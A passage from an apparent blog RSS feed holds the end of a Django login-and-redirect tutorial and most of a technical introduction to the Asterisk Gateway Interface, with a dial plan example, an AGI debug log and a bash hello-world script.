&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">{%&lt;/span> &lt;span class="k">extends&lt;/span> &lt;span class="s2">&amp;#34;base.html&amp;#34;&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">comment&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="c">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"> Main page to authenticate users.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endcomment&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">head&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;title&amp;gt;Django Consultants | Login&amp;lt;/title&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">block&lt;/span> &lt;span class="nv">body&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;header&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;h1&amp;gt;Django Consultants&amp;lt;/h1&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;h2&amp;gt;Login Page&amp;lt;/h2&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/header&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;section&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="nv">form.errors&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;p&amp;gt;Your username and password didn&amp;#39;t match, please try again.&amp;lt;/p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endif&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;form method=&amp;#34;post&amp;#34; action=&amp;#34;.&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">csrf_token&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;label for=&amp;#34;id_username&amp;#34;&amp;gt;Username:&amp;lt;/label&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">form.username&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;label for=&amp;#34;id_password&amp;#34;&amp;gt;Password:&amp;lt;/label&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">form.password&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/p&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="nv">next&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;next&amp;#34; value=&amp;#34;&lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">next&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">&amp;#34; /&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;next&amp;#34; value=&amp;#34;/portal/&amp;#34; /&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endif&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;input type=&amp;#34;submit&amp;#34; value=&amp;#34;login&amp;#34; /&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/form&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;/section&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endblock&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, as you can see, we create a form which performs a &lt;code>POST&lt;/code> to itself. This
lets the Django login view do its magic. The interesting thing here are the
hidden fields and how they are processed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">{%&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="nv">next&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;next&amp;#34; value=&amp;#34;&lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">next&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">&amp;#34; /&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x"> &amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;next&amp;#34; value=&amp;#34;/portal/&amp;#34; /&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endif&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The hidden field next is special to the login view. It determines where the
user is re-directed to after logging in. Let&amp;rsquo;s say, for example, that a user
visits our homepage, and clicks the link there that directs them to &lt;code>/portal/&lt;/code>.
Since &lt;code>/portal/&lt;/code> requires authentication, it will direct the user to the URL
&lt;code>/login/?next=/portal/&lt;/code>. This GET argument is sent automatically by the
&lt;code>login_required&lt;/code> decorator to help inform the login page of where to direct the
user after they&amp;rsquo;ve logged in.&lt;/p>
&lt;p>Our code above says &amp;ldquo;If the user requests a page, and they are not
authenticated-then direct them to the login page, and after they&amp;rsquo;ve logged in
send them back to the page they originally requested. If the user simply
visited the &lt;code>/login/&lt;/code> page directly, then by default send them to &lt;code>/portal/&lt;/code>
once they&amp;rsquo;ve logged in.&amp;rdquo;&lt;/p>
&lt;p>This is the correct way to handle login and redirection in complex websites as
it gives users the maximum amount of flexibility. Don&amp;rsquo;t you just hate it when
you try to visit a website and get into an important protected section, only to
discover that after you&amp;rsquo;ve logged in you are redirected to the main page
instead of the page you were trying to get to? You won&amp;rsquo;t have that problem
using Django&amp;rsquo;s authentication as long as you implement the login template as we
did above.&lt;/p>
&lt;h2 id="test-it-out">Test It Out&lt;/h2>
&lt;p>We&amp;rsquo;re done. So give everything a test. Go to your &lt;code>django_consultants&lt;/code>
directory and run the command &lt;code>python manage.py runserver&lt;/code> to start up the
development web server. Then open a browser and visit
&lt;code>http://localhost:8000/&lt;/code>.&lt;/p>
&lt;p>You should be greeted by the main page, and provided with a link to log into
the web portal. So click the portal link, and since you are not authenticated,
you will be directed to the login page.&lt;/p>
&lt;p>Now log in using the &lt;code>username&lt;/code> and &lt;code>password&lt;/code> you generated when you ran
&lt;code>python manage.py syncdb&lt;/code> and you&amp;rsquo;ll see the portal home page! Feel free to
play around with logout / login / etc.&lt;/p>
&lt;h2 id="where-to-go-from-here">Where to Go From Here&lt;/h2>
&lt;p>For more information and advanced usage of Django authentication, check out the
&lt;a href="http://docs.djangoproject.com/en/dev/topics/auth/" title="Django Authentication Documentation">official documentation&lt;/a>. The best way to learn is to play around with
things, test them out, and get a good feel for how everything works.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Hopefully this article has helped you understand how Django authentication
works, and how easy it is to add secure authentication to your website without
going through too much trouble. If you have any questions, suggestions, or
anything else, feel free to &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">shoot me an email&lt;/a>, and I&amp;rsquo;ll try to get back as
quick as I can.&lt;/p></description></item><item><title>A Technical Introduction to the Asterisk Gateway Interface (AGI)</title><link>https://rdegges.com/2010/a-technical-introduction-to-the-asterisk-gateway-interface-agi/</link><pubDate>Tue, 16 Feb 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/a-technical-introduction-to-the-asterisk-gateway-interface-agi/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/a-technical-introduction-to-the-asterisk-gateway-interface-agi/gate-sketch.png" alt="Gate Sketch" title="Gate Sketch">
&lt;/p>
&lt;p>The Asterisk Gateway Interface, commonly referred to as &lt;a href="http://www.voip-info.org/wiki/view/Asterisk+AGI" title="Asterisk Gateway Interface Wiki Page">AGI&lt;/a>, is a
language-independent API for processing calls. It allows programmers to write
simple programs to manipulate and route calls on &lt;a href="http://www.asterisk.org/" title="Asterisk PBX">Asterisk&lt;/a> servers in a
simple, easy manner.&lt;/p>
&lt;p>This article provides a technical introduction to the AGI, explaining how it
works, how it can be used, where you can find API documentation, and even
provides some basic code samples which demonstrate how to use the AGI. The
intended audience is programmers, telephony enthusiasts, or IT people who want
to learn more about adding functionality to their Asterisk PBX systems. This is
not a full programming reference, and will not explain how to write AGI
programs, it will merely teach you what the AGI provides and how to use it
high-level.&lt;/p>
&lt;h2 id="why-use-agi">Why Use AGI?&lt;/h2>
&lt;p>One question that arises frequently is &lt;em>Why do I need to use the AGI?&lt;/em> This is
a great question, worth discussing. Asterisk provides several ways to perform
call logic, namely dial plan, AMI, and AGI.&lt;/p>
&lt;p>&lt;a href="http://www.voip-info.org/tiki-index.php?page=Asterisk%20config%20extensions.conf" title="Asterisk Dial Plan Wiki Page">Dial plan&lt;/a> is Asterisk&amp;rsquo;s native scripting language which is parsed by
Asterisk and stored in memory to use for performing call logic. Dial plan is
quick, efficient, and easy to learn. There are, however, downsides associated
with dial plan. It is very unsophisticated, and doesn&amp;rsquo;t support standard
procedural language constructs (like loops). This means that you will be doing
mostly assembly type coding using &lt;code>Goto&lt;/code> statements and simple constructs. This
makes writing large software tedious and difficult to maintain.&lt;/p>
&lt;p>The &lt;a href="http://www.voip-info.org/wiki/view/Asterisk+manager+API" title="Asterisk Manager Interface Wiki Page">Asterisk Manager Interface&lt;/a> (AMI) is a sophisticated, language
independent API for controlling Asterisk through TCP sockets. The AMI is a
great solution for software that needs to be ran on remote servers as it can
interact with Asterisk across networks. Many click-to-call programs are written
using the AMI, as are nearly all of the Asterisk manager programs like &lt;a href="http://www.fonality.com/solutions/heads-up-display" title="Fonality HUD">HUD&lt;/a>,
&lt;a href="http://fop2.com/" title="Flash Operator Panel">FOP&lt;/a>, and &lt;a href="http://blogs.digium.com/2008/12/22/asterisk-desktop-assistant-windows-click-to-call-and-more/" title="Asterisk Desktop Assistant">Asterisk Assistant&lt;/a>. The AMI is great because it allows remote
software to completely control the Asterisk PBX: get even status updates, make
calls, receive calls, route calls, etc. The downside to using the AMI is that
it does not have any good documentation, is known to be buggy and error-prone,
and causes significant stress on the PBX.&lt;/p>
&lt;p>The AGI is a middle man, lying somewhere between dial plan and the AMI in terms
of functionality. The AGI can not be completely independent of the PBX, and
requires some dial plan modification to run (unlike the AMI), is not bound to a
specific programming language (like the AMI), and can be used either locally or
across networks (like the AMI). The AGI is usable only for incoming calls, and
is thus no good for purely outbound telephony development. The AGI uses little
overhead compared to the AMI, and is a good solution for developers who want to
write a module or plugin for Asterisk which can be used on any PBX and
implemented quickly and simply without stressing the server. AGI is also a
great solution for developers who would like to create telephony programs
without learning the Asterisk dial plan. It lets you build applications in
whatever programming language you are comfortable with, which can rapidly
decrease development time.&lt;/p>
&lt;h2 id="the-four-types-of-agi">The Four Types of AGI&lt;/h2>
&lt;p>The AGI actually has four ways in which it can be used, each different from the
other. There is the standard AGI, dead AGI, fast AGI, and enhanced AGI.&lt;/p>
&lt;p>&lt;a href="http://www.voip-info.org/wiki/view/Asterisk+AGI" title="Asterisk Gateway Interface Wiki Page">Standard AGI&lt;/a> is the simplest, and most widely used form of AGI. Standard
AGI scripts run on the local PBX and communicate with Asterisk through socket
descriptors (namely &lt;code>STDIN&lt;/code> and &lt;code>STDOUT&lt;/code>). The standard AGI allows for usage of
all AGI commands, and is what this article will be discussing.&lt;/p>
&lt;p>The &lt;a href="http://www.voip-info.org/tiki-index.php?page=Asterisk+cmd+DeadAGI" title="Dead AGI Wiki Page">dead AGI&lt;/a> is a simplified form of AGI which continues to run after the
call has been hung up. This is useful in situations where programming logic
needs to be performed after a call has hung up. As dead AGI allows developers
to control logic after the call, certain AGI commands are not permitted in its
usage. Dead AGI is also deprecated as of Asterisk 1.6, and should not be used.&lt;/p>
&lt;p>&lt;a href="http://www.voip-info.org/wiki/view/Asterisk+FastAGI" title="Fast AGI Wiki Page">Fast AGI&lt;/a> is the AGI over TCP sockets protocol. It allows for all AGI
functionality except EAGI, and is provided as a solution to developers who need
to run resource intensive AGI programs. By running the bulk of the AGI logic on
another server, the Asterisk server itself can process calls and not worry about
handling complex computation for other services. This is the recommended
protocol for large applications.&lt;/p>
&lt;p>Last is the &lt;a href="http://www.voip-info.org/wiki/view/Asterisk+EAGI" title="Enhanced AGI Wiki Page">EAGI&lt;/a>. The EAGI communications through file descriptors on the
local machine using &lt;code>STDIN&lt;/code> and &lt;code>STDOUT&lt;/code>, and provides developers a way to
access the audio channel directly for the calls being processed. This is rarely
used, but gives developers a way to analyze raw audio data.&lt;/p>
&lt;h2 id="how-to-run-an-agi-program">How to Run an AGI Program&lt;/h2>
&lt;p>When calls come into the Asterisk server, the dial plan rules process the call
and determine where to route it. To launch an AGI program and hand off call
processing the AGI program, you will need to use the Asterisk dial plan command
AGI. Below is an extremely simple example dial plan which passes all calls to
an AGI script for processing.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; This dial plan code passes all call processing to the call-processor.sh shell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; script.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">[incoming]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; _X.,1,AGI(call-processor.sh)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>By default, if no path is specified, Asterisk will look for the script, in this
case &lt;code>call-processor.sh&lt;/code>, in the directory &lt;code>/var/lib/asterisk/agi-bin&lt;/code>. This is
the default location for all AGI programs, and should probably be used to store
your AGI software. If your program resides in another directory, you may
specify an absolute path to the program for Asterisk to use instead.&lt;/p>
&lt;p>The program must be executable (on Linux systems that means that the executable
bit must be set on your program). You can do this by using the Linux command
&lt;code>chmod +x&lt;/code> to add the executable bit to your program.&lt;/p>
&lt;p>The program must also be readable by Asterisk, this means that it must be in a
public directory tree, or a tree that is owned by the user account under which
Asterisk runs. Also, don&amp;rsquo;t forget that your AGI program will be ran by
Asterisk, so permissions are necessary to plan out in advance. A common problem
new Asterisk developers run into is that they will have their AGI programs write
files to a system location, like &lt;code>/etc/&lt;/code>, but Asterisk will be running in a
restricted environment, so their programs will fail and they will not know why.&lt;/p>
&lt;h2 id="testing-agi-scripts-live">Testing AGI Scripts (live)&lt;/h2>
&lt;p>Running AGI scripts, as explained in the previous section is a simple task.
Sometimes, however, debugging AGI scripts can be difficult and time consuming.
Often, it is difficult to test AGI programs as you cannot simply print output to
the screen as you normally would for debugging purposes. This section briefly
covers using the Asterisk command line to watch and debug AGI applications live.&lt;/p>
&lt;p>To get started, log into the asterisk console via the &lt;code>asterisk -r&lt;/code> command from
the shell. Once inside the CLI, run the &lt;code>agi set debug on&lt;/code> command to enable
verbose AGI output. This will come in handy when troubleshooting your programs.
Below is an AGI debug of an AGI application which shows a wide array of
information about my AGI application. Take a close look at this debug, and try
to make sense of it. I&amp;rsquo;ll explain what each bit means below.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_request: hello-world.sh
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_channel: SIP/flowroute-ac10d3c8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_language: en
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_type: SIP
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_uniqueid: 1266365654.10672
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_version: 1.6.1.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_callerid:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_calleridname: unknown
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_callingpres: 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_callingani2: 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_callington: 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_callingtns: 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_dnid:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_rdnis: unknown
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_context: inbound
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_extension:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_priority: 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_enhanced: 0.0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_accountcode:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; agi_threadid: 1097206080
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Rx &amp;lt;&amp;lt; ANSWER
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; 200 result=0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Rx &amp;lt;&amp;lt; NOOP hello, world!
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; 200 result=0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Rx &amp;lt;&amp;lt; HANGUP
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">AGI Tx &amp;gt;&amp;gt; 200 result=1
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, the first thing to note is that every line starts with the channel ID of
the call, this way, calls can be traced even on very busy servers. If you have
a lot of call traffic, filtering out lines by their channel ID can help improve
visibility. A great way to do this is to use &lt;code>grep&lt;/code>, ex: &lt;code>asterisk -r | grep&lt;/code>
from the command line.&lt;/p>
&lt;p>AGI applications send commands to Asterisk via &lt;code>STDOUT&lt;/code>, and Asterisk sends data
to your AGI programs via &lt;code>STDIN&lt;/code>.&lt;/p>
&lt;p>After the channel ID, you&amp;rsquo;ll see AGI followed by either &lt;code>Tx&lt;/code> or &lt;code>Rx&lt;/code>. &lt;code>Tx&lt;/code>
stands for transmit, and means that Asterisk is transmitting the following
information into the &lt;code>STDIN&lt;/code> buffer for your AGI program to use if it desires.
Lines which begin with &lt;code>Rx&lt;/code> (receive) display information that your AGI program
is sending to Asterisk into the &lt;code>STDOUT&lt;/code> buffer. If you ever find yourself
wondering what response you are getting after sending a command to Asterisk via
AGI, you can always look at the &lt;code>Tx&lt;/code> lines to see what Asterisk says.&lt;/p>
&lt;p>The first 21 lines of output are all transmissions from Asterisk, which are sent
into the &lt;code>STDIN&lt;/code> buffer for your program to use if it wishes. Each of these
lines defines a call variable which contains information about the call that is
currently being processed. This information may be used by your programs to
figure out things like what caller ID the person calling is using, what number
they called, what dial plan context were they in before hitting your AGI
application, what language the call is in, what version of Asterisk is being
used, etc.&lt;/p>
&lt;p>Note that this initial list of variables is terminated by a single empty line.
So when writing software to parse in these variables, always keep parsing until
you read in an empty line. That is how you can tell that there is no further
input.&lt;/p>
&lt;p>The next few lines are dialog between our AGI application and Asterisk. The
&lt;code>Rx&lt;/code> lines show AGI commands which were sent to Asterisk for processing, and the
following &lt;code>Tx&lt;/code> lines show Asterisk responses.&lt;/p>
&lt;h2 id="agi-hello-world-application">AGI Hello World Application&lt;/h2>
&lt;p>In the previous section, we looked at an AGI call log. Now let&amp;rsquo;s examine the
AGI application which ran and generated that call log. What follows is an
extremely simple AGI application which simply outputs &lt;code>hello, world!&lt;/code> to the AGI
debug output.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;ANSWER&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;NOOP hello, world!&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;HANGUP&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This program completely disregards all of the variables that Asterisk passed
into &lt;code>STDIN&lt;/code> when it spawned a new thread for our AGI application, and only
writes three AGI commands to &lt;code>STDOUT&lt;/code> (which is how our application communicates
with Asterisk).&lt;/p>
&lt;p>The first command we send is &lt;a href="http://www.voip-info.org/wiki/view/answer" title="Asterisk AGI Answer Command Wiki Page">ANSWER&lt;/a>, which does nothing but answer the call
(establishes an audio connection with the remote end, so that the call starts
getting billed). The second command we send is a &lt;a href="http://www.voip-info.org/wiki/view/noop" title="Asterisk AGI NoOp Command Wiki Page">NOOP&lt;/a>, which only outputs
the text that follows it onto the AGI debug screen of the CLI. Lastly, we send
the &lt;a href="http://www.voip-info.org/wiki/view/hangup" title="Asterisk AGI Hangup Command Wiki Page">HANGUP&lt;/a> command which ends the call.&lt;/p>
&lt;p>Simple enough? Now, go ahead and try to run this program yourself. Test it
out, understand what is happening, and make it work.&lt;/p>
&lt;p>One thing you may notice is that you may get some errors on the CLI while
watching your program run. Usually they look something like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">[Feb 16 19:14:15] ERROR[25770]: utils.c:1126 ast_carefulwrite: write() returned error: Broken pipe
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[Feb 16 19:14:15] ERROR[25770]: utils.c:1126 ast_carefulwrite: write() returned error: Broken pipe
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Feel free to ignore those errors. Those are generated when your AGI application
does not read in &lt;em>all&lt;/em> data from &lt;code>STDIN&lt;/code> before your program closes.&lt;/p>
&lt;p>In most real world applications, you&amp;rsquo;ll want to read in Asterisk responses so
that you know whether or not your commands executed successfully, and can grab
important information about the call being processed, but for this example, we
don&amp;rsquo;t care, so we didn&amp;rsquo;t.&lt;/p>
&lt;h2 id="passing-arguments-to-your-agi-application">Passing Arguments to Your AGI Application&lt;/h2>
&lt;p>Now that you know how to write and use basic AGI scripts, let&amp;rsquo;s get a little
more advanced. Many complex AGI applications may need more advanced data given
to them than what Asterisk natively provides. Luckily, the Asterisk dial plan
